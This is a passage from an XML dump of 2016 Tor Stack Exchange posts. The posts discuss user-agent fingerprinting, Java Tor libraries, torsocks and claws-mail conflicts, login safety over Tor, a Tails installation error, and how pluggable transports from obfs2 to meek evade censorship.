Linux running on an ARM system with a HardFloat ABI (&lt;code&gt;abihf&lt;/code&gt;) which likely makes it a small ARM SoC device. If I cared, I could query the popular distros for such devices and try to discover which of them was shipping version 1.17.1 of Wget currently. Either fake the User-Agent to match and hope no one takes a closer look, which is prone to failure with your faked user-agent slipping out of real-world use (I see a lot of wget/python-urllib/curl with user-agents claiming to be Firefox 31.0 to fake being Tor Browser, while 31.0 hasn't been used on Tor Browser in a long time, it just makes them stand out more and become increasingly less anonymous) or use a common distro (Ubuntu, as is your case, would be a fine candidate) or distro like Tails which is designed to provide a consistent anonymity set to all of its users.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-09-07T04:09:10.957" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12546" PostTypeId="1" CreationDate="2016-09-07T07:06:21.193" Score="2" ViewCount="4683" Body="&lt;p&gt;I am working online application and while working , some of my ip are banned .&#xA;After that i came to know about Tor and i want to know how to add the tor services in java applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please do needful on this.&lt;/p&gt;&#xA;" OwnerUserId="14249" LastEditorUserId="31632" LastEditDate="2021-05-28T22:18:20.247" LastActivityDate="2021-05-28T22:18:20.247" Title="How to add Tor Services in My Java Application" Tags="|tor-browser-bundle|configuration|torsocks|" AnswerCount="2" CommentCount="0" ClosedDate="2016-09-16T14:33:30.040" ContentLicense="CC BY-SA 3.0" />
  <row Id="12547" PostTypeId="2" ParentId="12540" CreationDate="2016-09-07T07:47:37.910" Score="1" Body="&lt;p&gt;&lt;code&gt;claws-mail&lt;/code&gt; is conflicting with &lt;code&gt;torsocks&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, how &lt;code&gt;torsocks&lt;/code&gt; handles .onion. &lt;code&gt;torsocks&lt;/code&gt; works by intercepting certain function calls, mostly related to network functionality. One of those it intercepts is the &lt;code&gt;getaddrinfo&lt;/code&gt; call, which resolves a DNS address to it's corresponding IP address. When it receives a request for an .onion it instead of resolving it returns an IP address (by default 127.42.42.0 through to 127.42.42.255) and stores the IP address and the .onion together in a table in the processes memory. If, in the future it sees a request to connect to an IP in it's special range, it first tries to find it in the table, if it exists it connects to the corresponding .onion it saw trying to be resolved before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that &lt;code&gt;claws-mail&lt;/code&gt; is creating a second process, &lt;em&gt;then&lt;/em&gt; resolving the address to connect to and then telling the second process the IP. The second process didn't inherit the table mapping the .onion to the IP address (because it was &lt;code&gt;fork()&lt;/code&gt;ed before the lookup happened), so it thinks it's trying to connect to a local address (because the second process can't find it in &lt;em&gt;its&lt;/em&gt; copy of the table) and fails it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This only happens with POP3, my testing suggests IMAP works fine. Unfortunately this means POP3 with &lt;code&gt;claws-mail&lt;/code&gt; simply will not work with &lt;code&gt;torsocks&lt;/code&gt;. There is a similar known issue with &lt;code&gt;irssi&lt;/code&gt; (the IRC client) and how it resolves the address it intends to connect to.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-09-07T07:47:37.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12548" PostTypeId="2" ParentId="12546" CreationDate="2016-09-07T07:57:43.733" Score="3" Body="&lt;p&gt;You could try and use &lt;a href=&quot;https://github.com/guardianproject/jtorctl&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;jtorctl&lt;/strong&gt;&lt;/a&gt; which is a&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A Java library for controlling a Tor instance via its control port. It&#xA;is used in the Android app Orbot as well as others.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://subgraph.com/orchid/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Orchid&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Orchid is a Tor client implementation and library written in pure Java.&lt;/p&gt;&#xA;&lt;p&gt;It was written from the Tor specification documents, which are available &lt;a href=&quot;https://www.torproject.org/docs/documentation.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Orchid runs on Java 5+ and the Android devices.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;There are also other solutions written but it is written Python such as:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://stem.torproject.org/api.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Stem&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Stem is a Python controller library that you can use to interact with&#xA;Tor. With it you can write scripts and applications with capabilities&#xA;similar arm.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://txtorcon.readthedocs.io/en/latest/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;txtorcon&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;txtorcon is a Twisted-based Python asynchronous controller library for&#xA;Tor, following control-spec. This would be of interest to anyone&#xA;wishing to write event-based software in Python that talks to (and/or&#xA;launches) a Tor program.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;They seems to be more comprehensive than &lt;code&gt;jtorctl&lt;/code&gt;. If the Java libraries doesn't work, maybe you can integrate these Python libraries into your Java project using &lt;a href=&quot;https://www.jython.org/archive/21/docs/whatis.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Jython&lt;/strong&gt;&lt;/a&gt;. Goodluck!&lt;/p&gt;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://tor.stackexchange.com/a/523/13768&quot;&gt;https://tor.stackexchange.com/a/523/13768&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13768" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-09-08T04:26:28.233" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12549" PostTypeId="1" CreationDate="2016-09-07T12:09:49.773" Score="3" ViewCount="505" Body="&lt;p&gt;Tor2Web allows access to Hidden services from clearnet. However I would like to know if there some other gateways which will allow connections to hidden services on custom port and allows different communication protocols from clearnet?&lt;/p&gt;&#xA;" OwnerUserId="14251" LastEditorUserId="13768" LastEditDate="2016-09-13T09:54:56.317" LastActivityDate="2016-09-13T09:54:56.317" Title="Are there proxies like Tor2Web but not just for http connections?" Tags="|onion-services|proxy|clear-net|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12552" PostTypeId="2" ParentId="12546" CreationDate="2016-09-07T16:32:51.083" Score="0" Body="&lt;p&gt;Tor - from the application point of view - is &lt;em&gt;just a proxy and DNS server&lt;/em&gt;, so use SOCKS, transparent proxy and DNS &lt;em&gt;as usually on Java&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-07T16:32:51.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12553" PostTypeId="1" AcceptedAnswerId="12567" CreationDate="2016-09-07T17:35:16.337" Score="6" ViewCount="10490" Body="&lt;p&gt;Could someone explain how have many countries and corporations managed to differentiate tor traffic from normal traffic, and how exactly the obfs4 protocol (Or any other Pluggable transports) help better than any other bridge from bridge-db?&lt;/p&gt;&#xA;" OwnerUserId="14254" LastActivityDate="2016-09-12T04:45:27.553" Title="How does Tor obfs4 protocol and PTs work?" Tags="|tor-browser-bundle|pluggable-transports|encryption|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12554" PostTypeId="2" ParentId="12553" CreationDate="2016-09-07T19:23:38.153" Score="0" Body="&lt;p&gt;Hopefully this isn't a really bad answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bridges and PTs are two related things with their own purposes to help each other.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As bridge nodes are not in any Tor directories, adversaries will have a harder time to notice that they are actually nodes for the Tor network.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en&quot; rel=&quot;nofollow&quot;&gt;Plugins on the other hand:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Pluggable Transports (PT) transform the Tor traffic flow between the&#xA;  client and the bridge. This way, censors who monitor traffic between&#xA;  the client and the bridge will see innocent-looking transformed&#xA;  traffic instead of the actual Tor traffic. External programs can talk&#xA;  to Tor clients and Tor bridges using the pluggable transport API, to&#xA;  make it easier to build interoperable programs.  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Basically, PTs change the exchanged data and metadata you sent from the client to the bridge and vise versa to obscure it from looking like the normal Tor traffic. Some of them use cryptography to obscure it, while others are disguised to look like other types of transfer data. For example, the unused &lt;code&gt;SkypeMorph&lt;/code&gt; which make the traffic looks like Skype Video. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en#list-of-pts&quot; rel=&quot;nofollow&quot;&gt;For obfs4, it is further explained here:&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is a transport with the same features as ScrambleSuit but&#xA;  utilizing Dan Bernstein's elligator2 technique for public key&#xA;  obfuscation, and the ntor protocol for one-way authentication. This&#xA;  results in a faster protocol.    &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ScrambleSuit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;protects against follow-up probing attacks and is also capable of changing its network fingerprint (packet length distribution, inter-arrival times, etc.).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="13768" LastActivityDate="2016-09-07T19:23:38.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12557" PostTypeId="2" ParentId="12549" CreationDate="2016-09-07T22:24:54.243" Score="2" Body="&lt;p&gt;You could configure a tor relay and so set up the &lt;code&gt;SocksPort&lt;/code&gt; with your external IP and a port. But in this way, who intercept the connection will be able to see which HS are you trying to connect to. Plus this is unauthenticated and unencrypted (this is the worst part) more info &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#SocksPort&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that in this case your relay will be seen as an open proxy, I don't know what someone's abuse could cause to you. I mean that you could be responsible for illicit activity (but I repeat, these are just suppositions).&lt;/p&gt;&#xA;" OwnerDisplayName="user3524" LastActivityDate="2016-09-07T22:24:54.243" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12558" PostTypeId="1" AcceptedAnswerId="12560" CreationDate="2016-09-07T23:01:03.643" Score="1" ViewCount="3709" Body="&lt;p&gt;I'm a Tor newbie that wants to use Tor to log in to a few communities online, and I have a few questions about the safety of it. Before you say anything, I won't use sites like Facebook that know my real life identity, or sites that are very important (like online banking). I'm generally not doing anything too interesting over Tor and don't expect to be especially targeted by hackers or law enforcement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it, when logging in to a website, my username and password can be stolen when I send them through Tor. What is the likelihood of this, and steps can I take to minimize such risk?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I change my password immediately after logging in, will that prevent hackers from getting in, or will Tor continue to transmit these details while I use the website?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand Tor reroutes my traffic every 10 minutes. Will this also re-transfer my details, making it more likely to get routed through a malicious node the longer I stay on the site? Can I prevent re-routing, so that only 1 exit node can potentially see my details, instead of 100+? Besides, some websites automatically log out if the IP address changes, which is just annoying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I store a cookie with my login details on my computer, so that I don't have to log in every time I start the browser? I understand that this will somewhat reduce my privacy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or would it be better to leave the Tor browser running throughout the day, so that I only have to log in once? Would that not compromise my anonymity, in other words, the longer I stay on the site, the more likely the NSA or someone else will connect the start node and the end node?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any replies.&lt;/p&gt;&#xA;" OwnerUserId="14257" LastActivityDate="2018-09-05T22:02:03.440" Title="Simple questions about logging in to sites over Tor" Tags="|tor-browser-bundle|cookies|login|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12559" PostTypeId="2" ParentId="12558" CreationDate="2016-09-08T00:00:13.717" Score="2" Body="&lt;p&gt;Welcome to Tor community! So - step by step to your questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No information, &lt;em&gt;including&lt;/em&gt; login and password can be stolen if it's transferred via HTTPS &lt;strong&gt;and&lt;/strong&gt; the certificate genuinity is verified. Use Perspectives project and/or Convergence to check it all up locally and in decentralised manner - it will save your day not just inside Tor, btw.&lt;/li&gt;&#xA;&lt;li&gt;Tor is a very configurable tool, and it can be tuned up to change it's circuits in a decent privacy-oriented manner, so password change will not be intercepted. &lt;strong&gt;However it does not negate a need in two-factor authentication&lt;/strong&gt;. Google Authenticator is free and easy to use and adopt, for example.&lt;/li&gt;&#xA;&lt;li&gt;No cookies! &lt;strong&gt;Ever!&lt;/strong&gt; It's not so laborious to type your password.&lt;/li&gt;&#xA;&lt;li&gt;It's better to use a dedicated Tor node of yours running 24/7/365 and route all your traffic through it - I'm doing it myself on Orange Pi PC single-board computer. Feel free to ask and I'll give you all the details how to do it if you need.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Post Scriptum. If you have any further questions - ask them! I'll be glad to help you&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-08T00:00:13.717" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12560" PostTypeId="2" ParentId="12558" CreationDate="2016-09-08T01:54:15.323" Score="2" Body="&lt;p&gt;To address some of your concerns:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&quot;As I understand it, when logging in to a website, my username and password can be stolen when I send them through Tor.&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This is more generally true of the internet, the proper solution is the application of end-to-end cryptography. For example, that the sites should use HTTPS, if HTTPS is properly deployed a passive eavesdropper (like a naughty exit node) wouldn't be able to recover your login credentials. Again, this is a more general problem. Your login credentials pass through multiple companies networks and devices even when you don't use Tor. These devices, and their administrators, are not infallible and hackers do compromise them. With or without Tor you should be using end-to-end cryptography like HTTPS to protect your login credentials. This &lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow&quot;&gt;interactive infographic from the EFF might help clarify the situation&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&quot;If I change my password immediately after logging in, will that prevent hackers from getting in&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the provider isn't using a secure login mechanism, it's unlikely they will be using a secure password update mechanism. The updated password is as likely to be read as the original one. This will not help if the site has poor security.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&quot;I understand Tor reroutes my traffic every 10 minutes.&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Only under default circumstances, if you are using Tor Browser this isn't the case. This was actually changed to help out with some of the concerns that you had about it, e.g. logged in sessions being associated to IP. Tor Browser uses two things, first of all it isolates connections (meaning they will each use a different circuit from each other) by the &quot;First Party Domain&quot; of the tab. So if you have a tab for &lt;code&gt;example.com&lt;/code&gt; and &lt;code&gt;foobar.org&lt;/code&gt; they will both use different circuits. The second thing it does is that it will keep those isolated circuits open for the duration that they're used, to stop it using new circuits (and thus potentially a new exit) for connections to that website. As long as a new connection to the site has been made within the last 10 minutes (e.g. a new page or resource has been requested) it will be kept open and re-used for subsequent requests to the website.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&quot;Can I store a cookie with my login details on my computer&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Yes, Tor Buttons 'Privacy and Security' settings allow this &lt;strong&gt;but&lt;/strong&gt; it's strongly recommended against, first of all it won't just keep one cookie but all browsing history and cookies, which would mean you'd always carry around your browsing history with you. Part of the privacy protection offered by Tor is what's called &quot;unlinkability&quot;, that is the inability to link previous browsing sessions to current or future ones through technical means alone. Storing identifiers from previous sessions would violate this property, it would make it as easy to profile you as an individual for advertising and marketing purposes through a pseudonym as it would through your real identity.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&quot;...the longer I stay on the site, the more likely...someone...will connect the start node and the end node?&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Difficult to say, in theory yes but also consider that if, for example, you started Tor Browser exclusively to login as your psuedonymous identity that the time that you are connected to the Tor network will correlate to the times that the pseudonymous identity is connected. Onion routing, and low-latency anonymity networks in general, will always have problems like these when faced with a &quot;GPA&quot; (&quot;Global Passive Adversary&quot;), that is an adversary who can see a large enough fraction of the network at any time, &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#AttacksOnOnionRouting&quot; rel=&quot;nofollow&quot;&gt;as covered in the FAQ&lt;/a&gt;. There is little evidence that such an adversary exists but we know that, for example, the NSA is able to deanonymize some users some of the time through these methods, see page 2 of the &lt;a href=&quot;https://edwardsnowden.com/wp-content/uploads/2013/10/tor-stinks-presentation.pdf&quot; rel=&quot;nofollow&quot;&gt;&quot;Tor Stinks&quot;&lt;/a&gt; slide deck. It's also important to note that the length of the connection isn't the only factor, other attacks include things like &lt;a href=&quot;https://blog.torproject.org/blog/experimental-defense-website-traffic-fingerprinting&quot; rel=&quot;nofollow&quot;&gt;website traffic fingerprinting&lt;/a&gt; which doesn't require the connection be sustained for long periods of time. None of these attacks provide a 100% proof, but over time provide stronger statistical probabilities. Most (known) effective attacks on deanonymizing Tor users have been through directly compromising the end points and metadata leaks (some covered in the Tor Stinks slide deck linked above). This is a big questions that I can't authoritatively answer here.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-09-08T01:54:15.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12565" PostTypeId="2" ParentId="12009" CreationDate="2016-09-08T18:56:45.677" Score="0" Body="&lt;p&gt;Windows can easily run Bash scripts - Windows 10 now has &quot;Ubuntu subsystem&quot;, previous versions have &quot;Services for Unix&quot;, there also a Cygwin, MinGW and even standalone builds of Bash+binutils for Windows, so you can obtain the package which will be best for you and &lt;em&gt;just run&lt;/em&gt; your bash script on Windows.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-08T18:56:45.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12566" PostTypeId="1" CreationDate="2016-09-09T01:10:09.033" Score="1" ViewCount="1005" Body="&lt;p&gt;I am having trouble installing Tails 2.5 on a Verbatum 31 GB STORE-N-GO-070B6623D1E62053 USB flash drive.  Whenever I try, the installation takes a very long time and fails.  The dialog is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Formatting /dev/sdc1 as FAT32&lt;br /&gt;&#xA;  Verifying filesystem...&lt;br /&gt;&#xA;  Extracting live image to the target device...&lt;br /&gt;&#xA;  Reading extracted MBR from /media/amnesia/Tails/utils/mbr/mbr.bin&lt;br /&gt;&#xA;  Installing bootloader...&lt;br /&gt;&#xA;  Synchronizing data on disk...&lt;br /&gt;&#xA;  Unmounting mounted filesystems on '/dev/sdc1'&lt;br /&gt;&#xA;  There was a problem executing the following command: &lt;code&gt;/tmp/tmpqSXJPn/syslinux  -d syslinux /dev/sdc1&lt;/code&gt;.&lt;br /&gt;&#xA;  A more detailed error log has been written to '&lt;code&gt;/tmp/tails-installer-W8tvV4&lt;/code&gt;'.&lt;br /&gt;&#xA;  Tails installation failed!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;While the referenced file says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sync&#xA;['/sbin/sgdisk', '--print', '/dev/sdc']Disk /dev/sdc: 60506112 sectors, 28.9 GiB&#xA;Logical sector size: 512 bytes&#xA;Disk identifier (GUID): 84759EF6-6093-4E41-840C-C4CCC52691F1&#xA;Partition table holds up to 128 entries&#xA;First usable sector is 34, last usable sector is 60506078&#xA;Partitions will be aligned on 2048-sector boundaries&#xA;Total free space is 60506045 sectors (28.9 GiB)&#xA;&#xA;Number  Start (sector)    End (sector)  Size       Code  Name&#xA;&#xA;sync&#xA;sync&#xA;sync&#xA;sync&#xA;/tmp/tmpqSXJPn/syslinux  -d syslinux /dev/sdc1&#xA;/tmp/tmpqSXJPn/syslinux: /dev/sdc1: No medium found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to solve the problem by using GPart to pre-format the entire drive to FAT32, but this didn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can install Tails on other USB drives using a the tails installer on another drive on this same computer, so it probably isn't in the hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the list of problem USB drives before buying this one, and saw that no Verbatum drive is on the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice will be greatly appreciated.  &lt;/p&gt;&#xA;" OwnerUserId="14264" LastEditorUserId="88" LastEditDate="2016-09-16T15:21:29.857" LastActivityDate="2018-06-27T18:23:23.820" Title="Installing Tails on Verbatum Flash Drives" Tags="|tails|flash|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12567" PostTypeId="2" ParentId="12553" CreationDate="2016-09-09T03:44:13.490" Score="13" Body="&lt;p&gt;The Tor Project Wiki has a good article covering this: &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/AChildsGardenOfPluggableTransports&quot; rel=&quot;noreferrer&quot;&gt;A Childs Garden Of Pluggable Transports&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pluggable transport is used as a proxy for tors traffic, it provides an extra layer of transformation that exists around the core OR protocol traffic to mask it from censors or eavesdroppers trying to discover it's true  nature. In truth, pluggable transports are distinct from Tor and can be applied to arbitrary TCP network protocols, they provide a point-to-point obfuscated traffic tunnel. For how they fit into the Tor network protocol, from the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/pt-spec.txt&quot; rel=&quot;noreferrer&quot;&gt;Pluggable Transport Specification&lt;/a&gt;, the high level architecture overview looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; +------------+                    +---------------------------+&#xA; | Client App +-- Local Loopback --+ PT Client (SOCKS Proxy)   +--+&#xA; +------------+                    +---------------------------+  |&#xA;                                                                  |&#xA;             Public Internet (Obfuscated/Transformed traffic) ==&amp;gt; |&#xA;                                                                  |&#xA; +------------+                    +---------------------------+  |&#xA; | Server App +-- Local Loopback --+ PT Server (Reverse Proxy) +--+&#xA; +------------+                    +---------------------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;1. OR protocol &lt;em&gt;(default/no pluggable transport)&lt;/em&gt;&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When client creates a TLS tunnel to the guard relay or bridge it sends a &lt;code&gt;ClientHello&lt;/code&gt; message. This announces things like what ciphers it is willing to support and also indicates the hostname it is trying to contact, through SNI. The supported set of ciphers can be used to identify Tor (even when using a bridge without a pluggable transport) along with the random looking hostname. Tor tried to make it's TLS handshake look as much as possible like Firefox, but ultimately this would still be possible to fingerprint. Further, some censored networks will actively block TLS entirely, so even if it &lt;em&gt;could&lt;/em&gt; fake being a normal HTTPS handshake it would still not be suitable for many users to appear to be TLS, they would be blocked anyway for reasons unrelated to Tor.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;2. obfsproxy/obfs2&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This was the next deployed method to obfuscate traffic, it performed a symmetric key exchange, this exchanged key was then used to encrypt traffic to the bridge, this wasn't to &quot;protect&quot; the traffic but to obscure the underlying protocol from a passive eavesdropper. This has a problem though, in that it does not perform the key exchange through asymmetric cryptography. This means that a passive observer also sees the key and can trivially strip the encryption and see the details of the underlying protocol (Tor) and block it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;3. obfs3&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This improved upon obfs2, it performed a key exchange using public key cryptography. This meant that the passive eavesdropper would not be able to discover the key by simply observing the traffic, they would need to perform exhaustive computations to break the key to test and see if the traffic under the obfuscation was Tor traffic. Unfortunately this came up against two problems. First the key exchange was unauthenticated, an active adversary can pretend to be Alice to Bob and pretend to be Bob to Alice. Both Alice and Bob believe they are communicating directly with each other but the adversary is actually acting as a man-in-the-middle. Because Bob and Alice don't have some shared secret or public key for signatures exchanged prior to their connecting, they cannot verify each other so the adversary can avoid attacking the cryptography by becoming an active attacker. Secondly, there was a simpler way still for adversaries to see if it was a bridge: Connect to the bridge themselves. When a censor sees someone making an unknown connection to the internet, they would follow up and make their own connection to the same destination and try to speak the obfs3 (or any other known Tor pluggable transport) protocol with it. If it succeeded, they just blocked it. Remember, the censor doesn't have to know what Alice and Bob are saying, the censor just wants to stop Alice and Bob communicating, the reason they want to break the cryptography is just to confirm it's Tor and block it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;4. ScrambleSuit&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ScrambleSuit (definitely my favourite name for a pluggable transport ;)) addressed these problems by also distributing a shared secret with the bridge address. Since real bridge users would be provided this shared secret along with the bridge address and the censors would not, by requiring the client to prove that they know the key before it would talk to them a censor who tries to make their own connection after observing the user connect would not be able to elicit a reaction from the server, it would simply ignore them. This shared secret also provides a solution to the problem of the active adversary. Since Alice and Bob both share a secret they can use it to verify each other meaning that the adversary can no longer successfully masquerade as Bob or Alice to the other party. It can also be configured to provide optional &quot;Inter-Arrival&quot; Time obfuscation and padding to obfuscate the underlying protocols packet size, these frustrates attempts to try to recognize the underlying protocol through recognizing patterns in the &quot;flow&quot; of the underlying traffic, which might act as a distinguisher for censors to detect and block. By default they are not enabled as they come at a very large performance cost.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;5. obfs4&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;While &lt;a href=&quot;https://gitweb.torproject.org/pluggable-transports/obfs4.git/tree/README.md#n4&quot; rel=&quot;noreferrer&quot;&gt;very similar to ScrambleSuit&lt;/a&gt; at its core design, improves upon it through the use of modern, high-speed elliptic curve cryptography rather than the UniformDH used in ScrambleSuit and obfs3, which allows it to have smaller, more secure and less computationally expensive authenticated key exchanges. In it's changing of the protocol handshake it also protects against an attacker who knows of the bridges shared secret from successfully impersonating the bridge, since this would require discovery of the private part of the shared public key. It provides at least the same features as ScrambleSuit and further improvements in it's ability to obfuscate the underlying protocol and it's speed.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;6. meek&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Meek is a different approach, rather than trying to stop the discovery of entry points into the Tor network, this tries to make it very hard for an observer to distinguish between Tor traffic and other traffic. Since powerful adversaries have been able to enumerate large sets of bridges through &lt;a href=&quot;https://research.torproject.org/techreports/ten-ways-discover-tor-bridges-2011-10-31.pdf&quot; rel=&quot;noreferrer&quot;&gt;various means&lt;/a&gt;, being able to have entry points that don't rely on being unpublished to be hard to block provides an advantage. By utilising content distribution networks, Tor can make it's connections masquerade as a web request to some non-Tor resource to an outside observer, while internally directing the traffic into some server software that forwards traffic back and forth onto the Tor network. This makes it difficult for a censor to block only traffic onto the Tor network while allowing the other services behind the same CDN to continue unimpeded, essentially creating a situation where successful blocking would result in high collateral damage to totally unrelated resources making it potentially expensive and unpopular to block.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These are the &lt;a href=&quot;https://metrics.torproject.org/userstats-bridge-transport.html?start=2016-06-11&amp;amp;end=2016-09-09&amp;amp;transport=obfs2&amp;amp;transport=obfs3&amp;amp;transport=obfs4&amp;amp;transport=websocket&amp;amp;transport=fte&amp;amp;transport=meek&amp;amp;transport=scramblesuit&amp;amp;transport=snowflake&amp;amp;transport=%3C%3F%3F%3E&amp;amp;transport=%3COR%3E&quot; rel=&quot;noreferrer&quot;&gt;most common pluggable transports that are deployed at present&lt;/a&gt;, there are a few other options which are covered in the wiki document. Obfs2 or obfsproxy-legacy should be considered unsafe and avoided, and it is listed there purely for historical context and progression from obfs2 through to the 